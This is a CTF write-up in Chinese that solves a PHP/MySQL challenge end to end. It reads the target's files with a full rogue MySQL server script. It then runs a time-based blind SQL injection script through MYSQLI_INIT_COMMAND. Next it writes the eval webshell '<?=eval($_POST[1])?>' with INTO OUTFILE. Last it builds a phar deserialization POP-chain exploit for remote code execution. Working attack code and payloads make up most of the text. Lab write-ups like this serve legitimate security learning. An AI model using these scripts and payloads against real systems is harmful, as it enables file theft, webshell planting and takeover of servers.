源码
<?php
show_source(__FILE__);
include("class.php");
$conn = new mysqli();
if(isset($_POST['config']) && is_array($_POST['config'])){
foreach($_POST['config'] as $key => $val){
$value = is_numeric($var)?(int)$val:$val;
$conn->set_opt($key, $value);
}
}
if(isset($_POST['mysql']) && is_array($_POST['mysql'])){
$my = $_POST['mysql'];
if($conn->real_connect($my['host'], $my['user'], $my['pass'], $my['dbname'], $my['port'])){
echo "connect success";
$conn->query("show databases;");
}
else{
echo "connect fail";
}
}
else{
include("function.php");
}
$conn->close();
?>
先来看看怎么处理config参数的,首先必须是数组,然后foreach遍历赋值给$val
,如果是$var
是数字,则$val
转换成int型赋值给$value
否则按原始值赋值。然后执行set_opt($key, $value)
百度了一下,发现是mysqli_options函数的别称
那么我们分析下mysqli_options函数的参数
public mysqli::options(int $option, string|int $value): bool
刚好对应我们源码中的参数
option是可以修改的选项,注意是int型
而value是布尔值,这俩参数暂时还不知道如何利用
我们接着往下看,接收参数mysql包括对应键名进行sql数据库连接,可是我们并不知道具体的信息。结合提示Rogue-MySql-Server
,去网上搜到可以利用Mysql服务端反向读取客户端的任意文件
当然此原理利用的option是**
MYSQLI_OPT_LOCAL_INFILE
**。通过题目提供的mysql参数对我们本地机的Mysql服务端进行连接从而反向读取靶机的文件
我们前面分析过了参数config的作用,那么我们只需要开启该option设置为true即可
(我查的是9,但是参考wp中确实排在8)
config[8]=true
用来读取文件的脚本
from socket import AF_INET, SOCK_STREAM, error
from asyncore import dispatcher, loop as _asyLoop
from asynchat import async_chat
from struct import Struct
from sys import version_info
from logging import getLogger, INFO, StreamHandler, Formatter
_rouge_mysql_sever_read_file_result = {
}
_rouge_mysql_server_read_file_end = False
def checkVersionPy3():
return not version_info < (3, 0)
def rouge_mysql_sever_read_file(fileName, port, showInfo):
if showInfo:
log = getLogger(__name__)
log.setLevel(INFO)
tmp_format = StreamHandler()
tmp_format.setFormatter(Formatter("%(asctime)s : %(levelname)s : %(message)s"))
log.addHandler(
tmp_format
)
def _infoShow(*args):
if showInfo:
log.info(*args)
# ================================================
# =======No need to change after this lines=======
# ================================================
__author__ = 'Gifts'
__modify__ = 'Morouu'
global _rouge_mysql_sever_read_file_result
class _LastPacket(Exception):
pass
class _OutOfOrder(Exception):
pass
class _MysqlPacket(object):
packet_header = Struct('<Hbb')
packet_header_long = Struct('<Hbbb')
def __init__(self, packet_type, payload):
if isinstance(packet_type, _MysqlPacket):
self.packet_num = packet_type.packet_num + 1
else:
self.packet_num = packet_type
self.payload = payload
def __str__(self):
payload_len = len(self.payload)
if payload_len < 65536:
header = _MysqlPacket.packet_header.pack(payload_len, 0, self.packet_num)
else:
header = _MysqlPacket.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)
result = "".join(
(
header.decode("latin1") if checkVersionPy3() else header,
self.payload
)
)
return result
def __repr__(self):
return repr(str(self))
@staticmethod
def parse(raw_data):
packet_num = raw_data[0] if checkVersionPy3() else ord(raw_data[0])
payload = raw_data[1:]
return _MysqlPacket(packet_num, payload.decode("latin1") if checkVersionPy3() else payload)
class _HttpRequestHandler(async_chat):
def __init__(self, addr):
async_chat.__init__(self, sock=addr[0])
self.addr = addr[1]
self.ibuffer = []
self.set_terminator(3)
self.stateList = [b"LEN", b"Auth", b"Data", b"MoreLength", b"File"] if checkVersionPy3() else ["LEN",
"Auth",
"Data",
"MoreLength",
"File"]
self.state = self.stateList[0]
self.sub_state = self.stateList[1]
self.logined = False
self.file = ""
self.push(
_MysqlPacket(
0,
"".join((
'\x0a', # Protocol
'5.6.28-0ubuntu0.14.04.1' + '\0',
'\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00',
)))
)
self.order = 1
self.states = [b'LOGIN', b'CAPS', b'ANY'] if checkVersionPy3() else ['LOGIN', 'CAPS', 'ANY']
def push(self, data):
_infoShow('Pushed: %r', data)
data = str(data)
async_chat.push(self, data.encode("latin1") if checkVersionPy3() else data)
def collect_incoming_data(self, data):
_infoShow('Data recved: %r', data)
self.ibuffer.append(data)
def found_terminator(self):
data = b"".join(self.ibuffer) if checkVersionPy3() else "".join(self.ibuffer)
self.ibuffer = []
if self.state == self.stateList[0]: # LEN
len_bytes = data[0] + 256 * data[1] + 65536 * data[2] + 1 if checkVersionPy3() else ord(
data[0]) + 256 * ord(data[1]) + 65536 * ord(data[2]) + 1
if len_bytes < 65536:
self.set_terminator(len_bytes)
self.state = self.stateList[2] # Data
else:
self.state = self.stateList[3] # MoreLength
elif self.state == self.stateList[3]: # MoreLength
if (checkVersionPy3() and data[0] != b'\0') or data[0] != '\0':
self.push(None)
self.close_when_done()
else:
self.state = self.stateList[2] # Data
elif self.state == self.stateList[2]: # Data
packet = _MysqlPacket.parse(data)
try:
if self.order != packet.packet_num:
raise _OutOfOrder()
else:
# Fix ?
self.order = packet.packet_num + 2
if packet.packet_num == 0:
if packet.payload[0] == '\x03':
_infoShow('Query')
self.set_terminator(3)
self.state = self.stateList[0] # LEN
self.sub_state = self.stateList[4] # File
self.file = fileName.pop(0)
# end
if len(fileName) == 1:
global _rouge_mysql_server_read_file_end
_rouge_mysql_server_read_file_end = True
self.push(_MysqlPacket(
packet,
'\xFB{0}'.format(self.file)
))
elif packet.payload[0] == '\x1b':
_infoShow('SelectDB')
self.push(_MysqlPacket(
packet,
'\xfe\x00\x00\x02\x00'
))
raise _LastPacket()
elif packet.payload[0] in '\x02':
self.push(_MysqlPacket(
packet, '\0\0\0\x02\0\0\0'
))
raise _LastPacket()
elif packet.payload == '\x00\x01':
self.push(None)
self.close_when_done()
else:
raise ValueError()
else:
if self.sub_state == self.stateList[4]: # File
_infoShow('-- result')
# fileContent
_infoShow('Result: %r', data)
if len(data) == 1:
self.push(
_MysqlPacket(packet, '\0\0\0\x02\0\0\0')
)
raise _LastPacket()
else:
self.set_terminator(3)
self.state = self.stateList[0] # LEN
self.order = packet.packet_num + 1
global _rouge_mysql_sever_read_file_result
_rouge_mysql_sever_read_file_result.update(
{self.file: data.encode() if not checkVersionPy3() else data}
)
# test
# print(self.file + ":\n" + content.decode() if checkVersionPy3() else content)
self.close_when_done()
elif self.sub_state == self.stateList[1]: # Auth
self.push(_MysqlPacket(
packet, '\0\0\0\x02\0\0\0'
))
raise _LastPacket()
else:
_infoShow('-- else')
raise ValueError('Unknown packet')
except _LastPacket:
_infoShow('Last packet')
self.state = self.stateList[0] # LEN
self.sub_state = None
self.order = 0
self.set_terminator(3)
except _OutOfOrder:
_infoShow('Out of order')
self.push(None)
self.close_when_done()
else:
_infoShow('Unknown state')
self.push('None')
self.close_when_done()
class _MysqlListener(dispatcher):
def __init__(self, sock=None):
dispatcher.__init__(self, sock)
if not sock:
self.create_socket(AF_INET, SOCK_STREAM)
self.set_reuse_addr()
try:
self.bind(('', port))
except error:
exit()
self.listen(1)
def handle_accept(self):
pair = self.accept()
if pair is not None:
_infoShow('Conn from: %r', pair[1])
_HttpRequestHandler(pair)
if _rouge_mysql_server_read_file_end:
self.close()
_MysqlListener()
_asyLoop()
return _rouge_mysql_sever_read_file_result
if __name__ == '__main__':
#fileName=需要读取文件,port=VPS随意开放的端口(注意端口不能为3306,原因为啥我忘了XD
#不用在意SQL语句、账户、密码、选用的库,这些并不影响脚本运行
for name, content in rouge_mysql_sever_read_file(fileName=["/etc/passwd"], port=1028,showInfo=True).items():
print(name + ":\n" + content.decode())
我们只需要修改监听的端口以及读取的文件即可
直接python3 test.py
,然后脚本就开启监听
然后我们POST上传,注意ip和端口是我们内网穿透的
config[8]=true&mysql[host]=5i781963p2.yicp.fun&mysql[user]=test&mysql[pass]=test&mysql[dbname]=test&mysql[port]=58265
成功读取
然后我们分别读取class.php和function.php
写个脚本恢复一下,把\n
和转义的\
都修改下
<?php
$filename = 'class.txt'; // 替换为要读取的文件路径
$code = file_get_contents($filename);
$code = str_replace('\n', "\n", $code);
$code = str_replace('\\', "", $code);
$file = 'class.php';
file_put_contents($file, $code);
echo "代码已从文件 $filename 中恢复并写入文件:$file";
?>
先看看function.php
<?php
$mysqlpath = isset($_GET['mysqlpath'])?$_GET['mysqlpath']:'mysql.txt';
if(!file_exists($mysqlpath)){
die("NoNONo!");
}
else{
$arr = json_decode(file_get_contents($mysqlpath));
if($conn->real_connect($arr->host, $arr->user, $arr->pass, $arr->db, $arr->port)){
echo "connect success";
}
else{
echo "connect fail";
}
}
?>
有file_get_contents函数可以读取文件
发现mysql.txt,访问一下得到
再来看看class.php,发现可以利用include去文件包含
<?php
class Upload {
public $file;
public $filesize;
public $date;
public $tmp;
function __construct(){
$this->file = $_FILES;
}
function __toString(){
return $this->file["file"]["name"];
}
function __get($value){
$this->filesize->$value = $this->date;
echo $this->tmp;
}
}
class Show{
public $source;
public $str;
public $filter;
public function __construct($file)
{
$this->source = $file;
$this->schema = 'php://filter/read=convert.base64-encode/resource=/tmp/';
}
public function __toString()
{
$content = $this->str[0]->source;
$content = $this->str[1]->schema;
return $content;
}
public function __get($value){
$this->show();
return $this->$value;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function show()
{
$filename = $this->schema . $this->source;
include($filename);
}
public function __wakeup()
{
if ($this->schema !== 'php://filter/read=convert.base64-encode/resource=/tmp/') {
$this->schema = 'php://filter/read=convert.base64-encode/resource=/tmp/';
}
if ($this->source !== 'default.jpg') {
$this->source = 'default.jpg';
}
}
}
class Test{
public $test1;
public $test2;
function __toString(){
$str = $this->test2->test;
return 'test';
}
function __get($value){
return $this->$value;
}
function __destruct(){
echo $this->test1;
}
}
?>
我们的思路就是上传phar文件,然后利用function.php的参数mysqlpath去phar伪协议读取然后命令执行
可是关键点是我们并不知道flag的位置以及文件名,所以无法直接include包含flag,那么我们尝试写入一句话木马,然后include包含它实现RCE。思路正确的,那么我们先解决注入的目录路径,这里利用option的**MYSQLI_INIT_COMMAND
**来执行sql盲注
config[3]=select @@global.secure_file_priv
用于查询MySQL服务器的全局变量
secure_file_priv
的值。该变量指定了MySQL服务器上允许执行LOAD DATA INFILE
和SELECT ... INTO OUTFILE
语句的目录。
盲注脚本如下
import requests
import datetime
import string
url="http://node4.anna.nssctf.cn:28086/"
path_dir=''
for i in range(1,50):
low = 41
high = 130
mid = (high + low) // 2
while (low < high):
payload = f"select if((ascii(substr((select @@global.secure_file_priv),{i},1)))>{mid},sleep(2),1)#".format(i=i, mid=mid)
data={
"config[3]":payload
}
time1 = datetime.datetime.now()
r = requests.post(url, data)
time2 = datetime.datetime.now()
time = (time2 - time1).seconds
if time > 1:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if (mid == 41 or mid == 130):
break
path_dir += chr(mid)
print('目录为:{}'.format(path_dir))
得到目录为/nssctf
然后利用刚刚得到的数据库信息来写入木马
config[3]=select '<?=eval($_POST[1])?>' into outfile '/nssctf/shell.php';&mysql[host]=127.0.0.1&mysql[user]=root&mysql[pass]=nssctf&mysql[dbname]=ctf&mysql[port]=3306
接下来就是构造phar包,通过into dumpfile
上传到/nssctf
pop链子如下
Test::__destruct() -> Show::__toString() -> Upload::__get() -> Test::__toString() -> Show::__get() -> Show::show()
这里要构造的是include('/nssctf/shell.php');
exp
<?php
class Upload {
public $file;
public $filesize;
public $date;
public $tmp;
}
class Show{
public $source;
public $str;
public $filter;
}
class Test{
public $test1;
public $test2;
}
$a=new Test();
$b=new Show();
$a->test1=$b;
$c0=new Upload();
$c1=new Upload();
$b->str[0]=$c0;
$b->str[1]=$c1;
$d=new Show();
$c0->filesize=$d;
$c1->filesize=$d;
$c0->date="shell.php";
$c1->date="/nssctf/";
$e=new Test();
$c0->tmp=$e;
$c1->tmp=$e;
$e->test2=$d;
$phar = new Phar("hacker.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
由于phar文件包含不可见字符,所以我们可以在本地把它转换成十六进制
然后利用into dump的语法写入二进制文件
语法区别
SELECT ... INTO OUTFILE
将查询结果以文本格式写入文件。结果中的每一行对应查询结果的一行,列之间使用制表符分隔。SELECT ... INTO DUMPFILE
将查询结果直接以二进制格式写入文件。结果不会使用制表符或其他分隔符进行格式化。
最后就是phar读取文件,在env找到flag